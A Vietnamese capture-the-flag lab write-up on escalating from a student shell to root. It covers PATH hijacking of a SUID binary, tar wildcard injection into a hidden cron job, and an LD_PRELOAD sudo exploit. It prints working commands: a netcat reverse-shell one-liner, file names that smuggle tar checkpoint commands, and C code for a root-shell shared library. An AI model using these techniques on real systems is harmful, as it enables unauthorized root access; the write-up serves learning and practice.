Mở đầu
Bài lab hôm nay là một bài khá là hay với mức độ được đánh giá là trung bình. Mục tiêu của ta là lấy được 4 Flag
Write-up
Ở bài này khi truy cập thì ta sẽ có shell của user student
Teacher
Kiểm tra các file có SUID bằng lệnh find / 2>/dev/null -perm -u=s
Ta thấy 2 file được SUID
Vì đây là 1 file khá lạ lên mình chạy thử thì trả về một bảng kết quả
Mình đoán sẽ phải dùng file này để leo thang lên teacher nên mình sử dụng lệnh ltrace xem file gọi những thư viện nào
ltrace read-submission
Để ý ở đây file này gọi đến một file tên là read-file nhưng mình không thấy ở đây có hàm set path nên mình nghĩ ngay đến việc làm giả file read-file và thêm vào biến PATH thư mục có chứa file read-file giả mạo
echo "/bin/bash -i" > read-file
chmod 777 read-file
export PATH=`pwd`:$PATH
read-submission
Đầu tiên, mình tạo file read-file giả mạo chứa /bin/bash -i. Sau đó ta chỉ cần phải thêm quyền thực thi cho file vừa tạo nhưng mình để 777 luôn cho nhanh. Tiếp theo mình thêm thư mục có chứa file read-file giả mạo vào đầu của biến PATH và chạy lại file read-submission thì ta sẽ có shell của teacher.
Admin
Dùng lệnh ps -aux
thì mình phát hiện có cron đang chạy
Nhưng mình kiểm tra tất cả các file trong /etc/cron* không thấy có file cấu hình nào cả nên mình đoán có một cron của admin đang chạy ẩn. Do không mình không thể kết nối đến internet nên mình sẽ dùng bash để quan sát các tiến trình
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
Sau một hồi tìm kiếm thì mình biết được có cách tạo shell bằng tar. Vì ở đây có dấu wildcards(*) nên ta có thể lợi dụng để khai thác. Dành cho các bạn chưa biết thì wildcards sẽ được thực thi trước câu lệnh. Các lệnh mình sử dụng ở đây là:
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc localhost 1234 >/tmp/f" > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1
Lệnh đầu tiên để tạo reverse shell và ghi vào file shell .sh. Lệnh thứ 2 và 3 tạo ra một file tên là --checkpoint-action=exec=sh shell.sh và --checkpoint=1
Lưu ý: các file trên đều nằm trong thư mục /home/teacher/backup
Bật một shell khác và chạy lệnh
nc -lnvp 1234
Và ta đã có được shell của admin
Root
Kiểm tra với sudo -l ta thấy admin có thể chạy lệnh apche2 với quyền root mà không cần mật khẩu
Để ý ta thấy có option env_keep+=LD_PRELOAD cho giữ lại biến môi trường LD_PRELOAD khi thực thi bằng sudo. Ta sẽ lợi dụng option này để leo thang lên root.
Dành cho bạn nào chưa biết thì biến LD_PRELOAD dùng để load các Shared library trước cả các Standard library và cho phép ta ghi đè lên các fuction của các library khác. Ở đây ta sẽ ghi đè vào fuction _init , khi Shared library được load nếu nó có fuction _init thì funcion này sẽ được gọi đầu tiên hay nói cách khác khi load một thư viện thì function _init sẽ được chạy đầu tiên. Tạo một file shell.c có nội dung như sau
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}
Nếu bạn thắc mắc tại sao cần phải unsetenv("LDPRELOAD") thì biến này sẽ được kế thừa bởi các tiến trình con lên khi gọi system("/bin/sh") nó sẽ gọi lại chính _init tạo ra vòng lặp vô hạn
Tiếp theo tạo một shared object
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
Lấy root thôi
sudo LD_PRELOAD=/tmp/shell.so apache2
Docker escape
Trong phần mô tả của bài này có yêu cầu mình phải thoát ra khỏi máy ảo và phần này mình cũng còn chưa hiểu rõ cách thức hoạt động nên mình xin phép để link cách khai thác ở đây
Conclusion
Ở bài này mình học được khá là nhiều thứ mới như LD_PRELOAD , Docker escape , leo thang bằng tar và sử dụng ltrace để theo dõi hành vi của chương trình